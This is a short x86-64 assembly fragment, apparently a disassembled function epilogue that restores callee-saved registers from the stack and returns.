mov rbx, qword [rsp + 0xd8]
add rsp, 0x90
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret